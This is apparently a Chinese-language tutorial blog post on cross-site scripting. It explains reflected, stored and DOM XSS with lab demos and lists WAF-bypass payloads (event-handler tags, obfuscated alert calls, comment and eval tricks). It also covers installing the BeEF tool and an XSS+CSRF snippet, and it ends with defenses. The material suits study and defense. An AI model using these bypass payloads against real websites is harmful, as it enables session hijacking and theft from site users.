【web安全】——XSS漏洞

1.XSS漏洞基础

1.1.漏洞成因

XSS(Cross-site scripting)被称为跨站脚本攻击,由于与层叠样式表的缩写一样,因此被缩写为XSS.XSS漏洞形成的原因是网站/程序对前端用户的输入过滤不严格,导致攻击者可以将恶意的is/html代码注入到网页中,当其他用户浏览这些页面时,就会执行其中的恶意代码。

1.2利用方式

利用网页开发时web应用程序对用户输入过滤不足导致将恶意代码注入到网页中,使用户浏览器加载并执行恶意代码,通常是JavaScript

类型,也包括iava、vbs、flash、html等。

1.3执行方式

用户浏览被XSS注入过的网页,浏览器就会解析这段代码,就被攻击了。因为浏览器当中有JavaScript解析器,浏览器不会判断代码是否

恶意,只要符合语法规则,就直接解析了。

1.4攻击对象

客户端攻击,对象大多为用户,网站管理员。

还有微博,网页留言板,聊天室等收集用户输入的地方.。

2.漏洞危害

  • 网络钓鱼,盗取各种用户账户
  • 窃取用户的cookies资料,从而获取用户隐私信息。
  • 弹出广告页面,获取相关利益。
  • 劫持用户会话,执行任意操作。
  • 传播蠕虫病毒。

3.XSS漏洞挖掘

3.1可能存在XSS的漏洞页面

  • 高风险:评论区、留言区、个人信息修改、订单信息等
  • 中风险:站内信、通信、私信、反馈等。
  • 低风险:搜索框、UR、图片属性等。

3.2黑盒测试

通过查找一切用户可以输入并且控制输出到页面代码中的地方,例如:URL中的参数、URL链接、表单

输入框、评论区、个人信息修改等。

当在测试页面上提交以下代码,浏览器执行之后会出现弹窗,这是为了验证js代码是否被执行,代码被当做字符串输出在HTML页面上,浏览器当中的JavaScript解析器会根据

<script>alert(/xss/)</script> #比较常用

<script>confirm('xss')</script>

<script>prompt("xss")</script>

3.3白盒测试

关于XSS的代码审计主要就是从接收参数的地方和一些关键词入手。PHP中常见的接收参数的方式有$GET、$POST、$REQUEST等等,可以搜索所有接收参数的地方。然后对接收到的数据进行跟踪,看看有没有输出到页面中,然后看输出到页面中的数据是否进行了过滤和html编码等处理。

4.漏洞原理

4.1XSS分类

  • 反射型
  • 存储型
  • DOM型

4.2反射型XSS

4.2.1原理

反射型XSS也称作非持久型XSS、参数型跨站脚本。这类的跨站脚本最常见,也是最广泛的一种,主要用于将恶意脚本附加到URL的参数中诱导用户访问达到攻击的目的。这种类型的攻击通常发生在客户端上。

特点:

非持久性
参数脚本
js代码在web应用的参数当中:搜索框

数据流量:浏览器---->后端---->浏览器

4.2.2攻击位置

用户登录入口、网站搜索框等

4.2.3演示

当用户进行搜索时,返回结果通常包括用户的原始搜索内容,如果攻击者精心构造包含XSS恶意代码的链接,诱导用户点击并成功执行,用户的信息就被窃取了,甚至还可以模拟用户进行一些操作。

以pikachu靶场演示

直接尝试注入,发现有长度限制

对长度进行修改后 注入<script>alert(1);</script> 成功执行我们输入的JavaScript代码

4.3存储型XSS

4.3.1原理

存储型XSS是将攻击脚本永远嵌入某一个页面中,当用户访问的时候就会触发执行,从而用户受到相关的攻击。并目该类型的攻击主要发生在服务端,所有用户访问该页面都将受到相应的攻击,所以也称之为持久型XSS。攻击流程如下:

  1. 攻击者利用网站的一个表单,将恶意字符串插入到网站数据库中。
  2. 受害者向网站请求页面。
  3. 网站在响应中引入恶意字符串,并把它发给受害者。
  4. 受害者浏览器执行响应中的恶意脚本,并把受害者的cookies发给攻击者服务器。

特点

危害性最大:持久的保存在服务器上
持久型XSS
js代码不在某个参数中,而是被写进了数据库或文件可以永久保存数据的介质中,如留言板等。

数据流量走向:浏览器—>后端—>数据库—>后端—>浏览器

4.3.2攻击位置

论坛、博客、留言板、评论区等交互区。

4.3.3演示

提交后,每次访问这个页面,就会触发我们注入的代码

4.4DOM型XSS

什么是DOM?

DOM被称为文档对象模型,是一个平台和语言的接口,使得程序和脚本可以动态访问和更新文档的内容、结构和样式。DOM本身是一个表达XML文档的标准,HTML文档从浏览器的角度来说就是XML文档,有了这些技术之后,就可以通过js轻松访问到他们。DOM会将XML文件的节点构建成树状结构,以此反应XML文件本身的阶层结构。

4.3.1原理

客户端的脚本程序可以通过DOM动态地检查和修改页面内容。程序执行不依赖于服务器端的数据,从客户端获得DOM中的数据并在本地执行。浏览器用户可以操纵DOM中的一些对象,例如URL、location等。用户在客户端输入的数据如果包含了恶意is脚本,而这些脚本没有经过适当的过滤,应用程序就会受到基于DOM的XSS攻击。

这种XSS与反射型XSS、存储型XSS有着本质的区别,它的攻击代码不需要服务器解析响应,触发XSS依靠浏览器端的DOM解析

攻击流程:

  1. 攻击者构造一个包含恶意字符串的URL并发给受害者
  2. 攻击者诱使受害者发起这个URL请求。
  3. 网站收到请求,但并没有在响应中引入该恶意字符串
  4. 受害者浏览器执行响应中的合法脚本,导致恶意脚本被插入到页面中。
  5. 受害者浏览器执行插入到页面中的恶意脚本,将受害者的cookies信息发给攻击者服务器

4.3.2攻击位置

4.3.3演示

观察标签可知,提交的内容不会和后端进行交互,直接传给前端。利用js的拼接符将提交的内容拼接到<a>标签中

因此可以想办法来对a标签的内容进行闭合,使用事件来完成对DOM树的操作,#'οnclick="alert(1)">,提交此内容后,a标签中的内容形成闭合,结果如下:

5.XSS平台使用

https://xss.yt/

xss测试平台,xss9.com

6.beef工具的使用

6.1在kali中打开beef

安装beef

apt-get update -y #更新仓库源

apt install -y beef-xss

使用教程:Beefxss使用教程图文教程(超详细)_怎么把beef改成公网ip-CSDN博客

7.XSS绕过waf

7.1冷门标签

img标签定义HTML页面中的图像

<img src=1 οnerrοr=alert(1);>(oneror为当出现错误时候触发)

<img src=1 οnerrοr=alert("xss");>

input标签规定了用户可以在其中输入数据的输入字段

<input οnfοcus=alert(1);>//可用来绕过WAF (onfocus焦点事件)

<input οnblur=alert(1)autofocus><input autofocus>//可用来绕过WAF

<input οnfοcus="alert(1);"autofocus>//可用来绕过WAF

iframe标签创建包含另外一个文档的内联框架

<iframe οnlοad=alert(1);></iframe> //可绕过WAF

video标签定义视频,比如电影片段或其他视频流,

<video><source οnerrοr=alert(1)>//可绕过WAF

audio标签定义声音,比如音乐或其他音频流

<audio src=x οnerrοr=alert(1);>//可绕过WAF

7.2冷门事件

1.FSCommand() (攻击者当需要在嵌入的Flash对象中执行时可以使用此事件)

2.onAbort()(当用户中止加载图片时)

3.onActivate()(当对象激活时)

4.onAfterPrint()(用户打印或进行打印预览后触发)

5.onAfterUpdate()(从数据源对象更新数据后由数据对象触发)

6.onBeforeactivate()(在对象设置为激活元素前触发

7.onBeforecopy()(攻击者在选中部分拷贝到剪贴板前执行攻击代码-攻击者可以通过执行

execCommand("copy")函数触发)

7.3等价函数替换

levell.php?name=<script>confirm("xss")</script>

levell.php?name=<script>prompt("xss")</script>

levell.php?name=<script>alert("xss")</script>

7.4编码绕过

使用char编码,Unicode编码,url编码,ASCII编码,base64编码尝试绕过

7.5变型

1、<imgl、<img src=x:alert(alt)οnerrοr=eval(src) alt=0>

2、<form><a href="javascript:\u006llert(1)">X

3、<script x> alert(1)</script 1=2

7.6alert混淆

(alert)(1)

a=alert,a(1)

[1].find(alert)

a1\u0065rt(1)

7.7空格绕过

<img src="javascript:alert('xss');">

<img src="java script:alert('xss');">

7.8注释绕过

<script>alert()</script>

<scri<!--1-->pt>alert()</sc<!--1-->ript>

7.9字符拼接

利用eval:eval是Javascript内置函数,用于计算字符串表达式的值

<img src="x"onerror "a= aler ;b=`t`;c='( xss );';eval(a+b+c)">

7.10js伪协议绕过

8.XSS+CSRF利用

存储型XSS攻击代码中加入CSRF代码。

<script src="x"οnerrοr=javascript:window.open("http://localhost/csrf.html")></script>

9.防御

  1. 白名单过滤:白名单过滤通过允许放行的内容进行过滤,这种情况下确实可以基本杜绝很多的XSS攻击,但是在现实环境中,可能会造成误拦截。
  2. 黑名单过滤:黑名单过滤是对相关关键字进行拦截,黑名单输入可能杜绝绝大XSS攻击,但是依旧存在被绕过的可能。
  3. http only属性:在服务端中设置会话cookie的HTTP only属性,这样客户端]S脚本就不能获取cookie信息,
  4. 明确输入内容:对用户输入的内容进行明确类型,如个人信息电话、数字、密码、邮箱地址等都位置都过滤一些不符合的
  5. 对不可信的内容都应该进行长度限制:例如电话号码11位,那么就设置11位,这样虽然不能百分百防止XSS攻击,但是可以增加XSS攻击实现的难度。
  6. 添加验证码、开启相关防护软件、WAF软硬件。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/1553058.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

基于Word2Vec和LSTM实现微博评论情感分析

关于深度实战社区 我们是一个深度学习领域的独立工作室。团队成员有&#xff1a;中科大硕士、纽约大学硕士、浙江大学硕士、华东理工博士等&#xff0c;曾在腾讯、百度、德勤等担任算法工程师/产品经理。全网20多万粉丝&#xff0c;拥有2篇国家级人工智能发明专利。 社区特色…

【Python报错已解决】TypeError: unsupported operand type(s) for +: ‘str‘ and ‘int‘

&#x1f3ac; 鸽芷咕&#xff1a;个人主页 &#x1f525; 个人专栏: 《C干货基地》《粉丝福利》 ⛺️生活的理想&#xff0c;就是为了理想的生活! 专栏介绍 在软件开发和日常使用中&#xff0c;BUG是不可避免的。本专栏致力于为广大开发者和技术爱好者提供一个关于BUG解决的经…

【C++前缀和】2845. 统计趣味子数组的数目|2073

本文涉及的基础知识点 C算法&#xff1a;前缀和、前缀乘积、前缀异或的原理、源码及测试用例 包括课程视频 LeetCode 2845. 统计趣味子数组的数目 难度分&#xff1a;2073 给你一个下标从 0 开始的整数数组 nums &#xff0c;以及整数 modulo 和整数 k 。 请你找出并统计数组…

(作业)第三期书生·浦语大模型实战营(十一卷王场)--书生入门岛通关第3关Git 基础知识

任务编号 任务名称 任务描述 1 破冰活动 提交一份自我介绍。 2 实践项目 创建并提交一个项目。 破冰活动 提交一份自我介绍。 每位参与者提交一份自我介绍。 提交地址&#xff1a;https://github.com/InternLM/Tutorial 的 camp3 分支&#xff5e; 安装并设置git 克隆仓库并…

分散加载文件 scatter files

目录 一、加载域和执行域二、Image entry points三、映射符号四、链接器预定义符号1、将符号引入到程序中1.1 引入到 C/C1.2 引入到汇编 2、域相关的符号2.1 执行域符号 Image$$2.2 执行域符号 Load$$2.3 加载域符号 Load$$LR$$2.4 节相关的符号2.5 镜像符号2.6 输入节符号 五、…

【Nacos 架构 原理】服务发现模块之Nacos注册中心服务数据模型

文章目录 服务&#xff08;Service&#xff09;和服务实例&#xff08;Instance&#xff09;定义服务服务元数据定义实例实例元数据持久化属性 集群定义集群 生命周期服务的生命周期实例的生命周期集群的生命周期元数据的生命周期 服务&#xff08;Service&#xff09;和服务实…

收单外包机构备案分析及建议

2020年9月16日&#xff0c;中国支付清算协会&#xff08;下称“中支协”或“协会”&#xff09;公示了首批收单外包服务机构备案名单。历经5年&#xff0c;约进行50次公示后&#xff0c;截至9月21日共备案收单外包机构32457家&#xff0c;取消备案机构316家&#xff0c;拟取消机…

YOLO v11实时目标检测3:训练数据集格式说明

一、Yolov11简介 YOLOv11 是 YOLO 系列的最新版本&#xff0c;它不仅在目标检测方面表现出色&#xff0c;还引入了对象分割和多目标跟踪的功能。本文将介绍如何使用 YOLOv11 进行人流统计、车流统计以及跟踪的实际应用。 二、Yolo v11训练数据集格式说明 2.1 数据组织&#…

Redis --- 第二讲 --- 特性和安装

一、背景知识 Redis特性&#xff1a; Redis是一个在内存中存储数据的中间件&#xff0c;用于作为数据库&#xff0c;作为缓存&#xff0c;在分布式系统中能够大展拳脚。Redis的一些特性造就了现在的Redis。 在内存中存储数据&#xff0c;通过一系列的数据结构。MySQL主要是通…

4 款语音识别转文字神器,打工人速速码住!

现在这信息多得不得了的时代哈&#xff0c;文字处理这玩意儿可成了咱日常生活里少不了的一部分啦。对那些忙得不行的打工人来说&#xff0c;能又快又准地把语音变成文字&#xff0c;那绝对是提升工作效率的关键。今天呢&#xff0c;咱就一起来瞅瞅四款挺受推崇的语音识别转文字…

TypeScript 第三部分 扩展

1. 声明文件 主要作用&#xff1a; 类型声明&#xff1a;为库或模块提供类型信息。全局声明&#xff1a;为全局作用域中的类型和变量提供声明。类型兼容性&#xff1a;确保第三方库或自定义代码的类型正确性。代码提示与检查&#xff1a;在开发环境中提供更好的代码提示和类型…

基于单片机人体反应速度测试仪系统

** 文章目录 前言概要设计思路 软件设计效果图 程序文章目录 前言 &#x1f497;博主介绍&#xff1a;✌全网粉丝10W,CSDN特邀作者、博客专家、CSDN新星计划导师&#xff0c;一名热衷于单片机技术探索与分享的博主、专注于 精通51/STM32/MSP430/AVR等单片机设计 主要对象是咱们…

CSP-J Day 2 模拟赛补题报告

upd: T4 重新上传 AC 代码&#xff0c;一开始的有 hack。 姓名&#xff1a;王胤皓&#xff0c;校区&#xff1a;和谐校区&#xff0c;考试时间&#xff1a; 2024 2024 2024 年 10 10 10 月 2 2 2 日 9 : 00 : 00 9:00:00 9:00:00~ 12 : 30 : 00 12:30:00 12:30:00&#xff…

简单理解程序地址空间:Linux 中的内存映射与页表解析

ps: Linux操作系统对于程序地址&#xff0c;物理地址的处理&#xff0c;对于源码&#xff0c;我也看不大懂&#xff0c;只是截取当我们进程发生正常缺页中断的时候的调用情况。本文中所有的源码都是进行截取过的&#xff0c;如果大家感兴趣可以去下载源码。 在Linux 操作系统 …

【Burp入门第三十三篇】IP Rotate 插件实现IP轮换爆破

Burp Suite是一款功能强大的渗透测试工具,被广泛应用于Web应用程序的安全测试和漏洞挖掘中。 本专栏将结合实操及具体案例,带领读者入门、掌握这款漏洞挖掘利器 读者可订阅专栏:【Burp由入门到精通 |CSDN秋说】 文章目录 正文安装步骤使用步骤应用场景实战文章正文 在 Burp…

留存率的定义与SQL实现

1.什么是留存率 留存率是指在特定时间段内&#xff0c;仍然继续使用某项产品或服务的用户占用户总数的百分比。 通常&#xff0c;留存率会以日&#xff0c;周&#xff0c;或月为单位进行统计和分析。 2.SQL留存率常见问题 1.计算新用户登录的日期的次日留存率以及3日留存率 …

假期惊喜,收到公司款项86167.14元

假期惊喜 近日&#xff0c;有网友爆料称&#xff0c;比亚迪在未提前通知员工的情况下&#xff0c;突然发放了利润奖金。 有人获得了七八万元&#xff0c;也有人拿到了十多万元。 一位比亚迪员工的帖子显示&#xff0c;在9月26日下午&#xff0c;他的银行卡突然收到一笔 86167.1…

知识图谱入门——4:Protégé 5.6.4安装和主要功能介绍、常用插件(2024年10月2日):知识图谱构建的利器

Protg 是斯坦福大学开发的一款开放源代码的本体编辑工具。它为构建、共享和管理本体&#xff08;Ontologies&#xff09;提供了一个强大的平台&#xff0c;广泛应用于语义网、知识管理、自然语言处理等领域&#xff0c;特别是知识图谱的开发和管理。Protg 支持 OWL&#xff08;…

解决问题AttributeError: “safe_load“ has been removed, use

解决问题AttributeError: "safe_load" has been removed, use~ 1. 问题描述2. 解决方法 1. 问题描述 在复现cdvae代码时&#xff0c;运行 python scripts/compute_metrics.py --root_path MODEL_PATH --tasks recon gen opt评估模型时&#xff0c;出现以下问题。 …